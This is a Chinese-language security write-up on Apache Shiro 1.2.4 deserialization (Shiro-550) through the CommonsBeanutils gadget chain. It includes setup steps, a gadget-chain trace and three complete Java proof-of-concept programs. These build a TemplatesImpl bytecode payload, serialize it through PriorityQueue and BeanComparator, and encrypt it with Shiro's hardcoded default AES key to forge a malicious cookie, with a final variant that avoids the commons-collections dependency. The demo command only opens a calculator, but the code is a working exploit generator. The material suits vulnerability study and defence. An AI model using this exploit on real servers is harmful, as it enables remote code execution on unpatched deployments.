『聚合』 Shiro反序列化分析

前言

Shiro，一个流行的web框架，养活了一大批web狗，现在来对它分析分析。Shiro的gadget是CB链，其实是CC4改过来的，因为Shiro框架是自带Commoncollections的，除此之外还带了一个包叫做CommonBeanUtils，主要利用类就在这个包里

环境搭建

https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4
编辑shiro/samples/web目录下的pom.xml,将jstl的版本修改为1.2

<dependency>
    <groupId>javax.servlet</groupId>
    <artifactId>jstl</artifactId>
    <version>1.2</version>
    <scope>runtime</scope>
</dependency>

之后tomat搭起来就行了，选择sample-web.war

CB链分析

先回顾一下CC4

* Gadget chain:
 *      ObjectInputStream.readObject()
 *          PriorityQueue.readObject()
 *              PriorityQueue.heapify()
 *                  PriorityQueue.siftDown()
 *                 PriorityQueue.siftDownUsingComparator()
 *                     TransformingComparator.compare()
 *                         InvokerTransformer.transform()
 *                             Method.invoke()
 *                                 TemplatesImpl.newTransformer()
 *                                     TemplatesImpl.getTransletInstance()
 *                                         Runtime.exec()

CB链跟CC4的不同点就是从compare开始的，正好可以从CommonBeanUtils包里找到BeanComparator这个类

主要看PropertyUtils.getProperty这个方法可以任意类的get方法调用，可以调用任意bean(class)的一个get方法去获取nameproperty属性
写个demo测试一下

package org.example;

import org.apache.commons.beanutils.PropertyUtils;

import java.lang.reflect.InvocationTargetException;

public class User {
    private String name;
    private int age;
    public User(String name, int age){
        this.name = name;
        this.age = age;
    }

    public String getName() {
        System.out.println("Hello, getname");
        return name;
    }
    public int getAge() {
        System.out.println("Hello, getage");
        return age;
    }
    public void setName(String name) {
        this.name = name;
    }
    public void setAge(int age) {
        this.age = age;
    }

    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
        PropertyUtils.getProperty(new User("F12", 18), "name");
        PropertyUtils.getProperty(new User("F12", 18), "age");
    }
}

// 输出
Hello, getname
Hello, getage

这样就可以利用TemplatesImpl中的getOutputProperties方法，这里面可以触发任意类的实例化，从而执行命令，注意这个类须继承AbstractTranslet类，或则改掉父类的默认值，如果忘了请回顾CC3
依赖：

<dependencies>
        <dependency>
            <groupId>commons-beanutils</groupId>
            <artifactId>commons-beanutils</artifactId>
            <version>1.8.3</version>
        </dependency>
        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-core</artifactId>
            <version>1.2.4</version>
        </dependency>

        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.27.0-GA</version>
        </dependency>

        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
        <dependency>
            <groupId>commons-logging</groupId>
            <artifactId>commons-logging</artifactId>
            <version>1.1.1</version>
        </dependency>
</dependencies>

package org.example;


import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Test {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fis = new FileOutputStream("cb.bin");
        ObjectOutputStream ois = new ObjectOutputStream(fis);
        ois.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(filename);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }
    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass ct = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ct.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "Evil" + System.nanoTime();
        ct.setName(randomClassName);
        ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{ct.toBytecode()});
        setFieldValue(obj, "_name", "F12");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        final BeanComparator beanComparator = new BeanComparator();
        final PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);
        setFieldValue(beanComparator, "property", "outputProperties");
        setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});
        serialize(priorityQueue);
        deserialize("cb.bin");
    }
}

追踪一下链的过程，在PriorityQueue的readObject打个断点，开追，进入heapify
进入siftDown

进入siftDownUsingComparator

进入compare，到达关键点，获取TemplatesImpl的outputProperites属性

调用TemplatesImpl.getOutputProperites

进入newTransformer

进入getTransletInstance，到达世界最高城defineTransletClasses

后面就不看了，就是defineClass，至此CB链结束，还挺简单的

Shiro550分析

环境上面已经搭建好了，这里不说了
Shiro550用的其实就是CB链，这里只是有一些细节需要注意，Shiro的触发点是Cookie处解码时会进行反序列化，他生成的反序列化字符串是进行AES对称加密的，因此要在对数据进行一次AES加密，反序列化漏洞的利用就建立在知晓key的情况下，而shiro最初时，key是直接硬编码写在源码里的，全局搜serialize

可以看到这个DEFAULT_CIPHER_KEY_BYTES，amazing

package org.example;


import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.PriorityQueue;

public class Test {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fis = new FileOutputStream("cb.bin");
        ObjectOutputStream ois = new ObjectOutputStream(fis);
        ois.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(filename);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }
    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass ct = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ct.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "Evil" + System.nanoTime();
        ct.setName(randomClassName);
        ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{ct.toBytecode()});
        setFieldValue(obj, "_name", "F12");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        final BeanComparator beanComparator = new BeanComparator();
        final PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);
        setFieldValue(beanComparator, "property", "outputProperties");
        setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});
        serialize(priorityQueue);
        byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\Property\\cb.bin"));
        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource encrypt = aes.encrypt(bytes, key);
        System.out.println(encrypt.toString());
    }
}

但是直接报错了，报的是cc中的ComparableComparator的那个错，虽然shiro中内置了CommonCollection的一部分，但是并不是所有，而org.apache.commons.collections.comparators.ComparableComparator这个类就在CC包里面,且在shiro中没有，所以寄

无依赖Shiro550 Attack

关键点在于compare方法，如果不指定comparator的话，会默认为cc中的ComparableComparator

因此我们需要指定一个Comparator

• 实现java.util.Comparator接口
• 实现java.io.Serializable接口
• Java、shiro或commons-beanutils自带，且兼容性强

可以找到AttrCompare

package org.example;


import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.map.CaseInsensitiveMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import sun.misc.ASCIICaseInsensitiveComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;

public class Test {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fis = new FileOutputStream("cb.bin");
        ObjectOutputStream ois = new ObjectOutputStream(fis);
        ois.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(filename);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }
    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass ct = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ct.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "Evil" + System.nanoTime();
        ct.setName(randomClassName);
        ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{ct.toBytecode()});
        setFieldValue(obj, "_name", "F12");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        final BeanComparator beanComparator = new BeanComparator();
        final PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);
        setFieldValue(beanComparator, "property", "outputProperties");
        setFieldValue(beanComparator, "comparator", new AttrCompare());
        setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});
        serialize(priorityQueue);
        byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\Property\\cb.bin"));
        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource encrypt = aes.encrypt(bytes, key);
        System.out.println(encrypt.toString());
    }
}

成功Attack